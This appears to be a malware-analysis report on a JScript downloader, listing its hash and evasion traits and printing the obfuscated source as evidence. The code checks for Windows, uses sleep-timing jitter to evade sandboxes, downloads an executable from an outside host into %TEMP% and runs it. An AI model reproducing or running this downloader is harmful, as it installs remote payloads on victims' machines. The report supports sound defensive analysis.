20160328_f076c4f14dd0822f86b1054b74d37ddb.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2565f7301116b25126675e6142daa071b7802abc88dcd379945a90b4ac6df70e3a5
Evidence
1var Kpgshzyj = false;
2var Pxsndqpld = "CreateObject";
3var Zaqallt = function Xwwdlez() {return WScript[Pxsndqpld]("WScript.Shell");}();
4var Qpbgjog = 123213;
5var Pgxmlf = "MSXML2.XMLHTTP";
6var Ikbri = 2123213;
7var Gbqyn = 0;
8function Myztcwam(Hwfbnqwfor){Zaqallt["Run"](Hwfbnqwfor, Gbqyn, Gbqyn);};
9function Qsbgeppbq(){return Pgxmlf;};
10function Lwbxjgmeio(Ikhtpetzs, Bifggj){return Ikhtpetzs - Bifggj;};
11function Zztikffnv(){return Pxsndqpld;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Kpgshzyj = true;
15 @end
16@*/
17var Rbzyr = "";
18if (Kpgshzyj)
19{
20function Xjhfywau(){return 22;};
21var Rjput = 0; var Bvzdxsrkcp = 0;
22function Ldocfu()
23{
24var Kymnztl = new this["Date"]();
25var Fwqfiphglj = Kymnztl["getUTCMilliseconds"]();
26WScript["Sleep"](Xjhfywau());
27var Kymnztl = new this["Date"]();
28var Cstxzvijdm = Kymnztl["getUTCMilliseconds"]();
29WScript["Sleep"](Xjhfywau());
30var Kymnztl = new this["Date"]();
31var Rniakjs = Kymnztl["getUTCMilliseconds"]();
32var Rjput = "Wjqoxbk";
33Rjput = Lwbxjgmeio(Cstxzvijdm, Fwqfiphglj);
34var Bvzdxsrkcp = "Egulhpy";
35Bvzdxsrkcp = Lwbxjgmeio(Rniakjs, Cstxzvijdm);
36Rbzyr = "open";
37return Lwbxjgmeio(Rjput, Bvzdxsrkcp);
38}
39var Moyxle = false;
40var Ureonxr = false;
41for (var Bteqihzatd = Gbqyn; Bteqihzatd < Xjhfywau() * 1; Bteqihzatd++){if (Ldocfu() != Gbqyn){
42Moyx …
49:5… Moyxle && Hrtgddgwf() && Ureonxr){
50function Dxccpcqh() {return Zaqallt["ExpandEnvironmentStrings"]("%TEMP%/") + "D1riZFJVD.exe";};
51 Ztymm = Qsbgeppbq();
52 Zsyft = WScript[Pxsndqpld](Ztymm);
53 var Pjleknsgtf = 1;
54 while (Pjleknsgtf){
55try {
56Zsyft[Rbzyr]("GET", "http://gettouronline.com/sd4la", false);
57Zsyft["send"]();
58Ovfzph = "Sleep";
59do {WScript[Ovfzph](Xjhfywau() * 11)} while (Zsyft["readystate"] < 4 );
60Pjleknsgtf = Gbqyn;
61} catch(Byetb){Pjleknsgtf = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ceaos(Vzqzalcs) {var Viisb = (1, 2, 3, 4, 5, Vzqzalcs); return Viisb;};
64Glsvucbgzk = WScript[Zztikffnv()]("ADODB.Stream");
65Ztymm = Glsvucbgzk;
66Ztymm[Rbzyr]();
67Ztymm["type"] = Ceaos(1);
68Ztymm["write"](Zsyft["ResponseBody"]);
69Glsvucbgzk["position"] = Ceaos(Gbqyn);
70Ztymm["SaveToFile"](Dxccpcqh(), Ceaos(2) );
71Glsvucbgzk["close"]();
72Myztcwam(Dxccpcqh());
73}
74}
75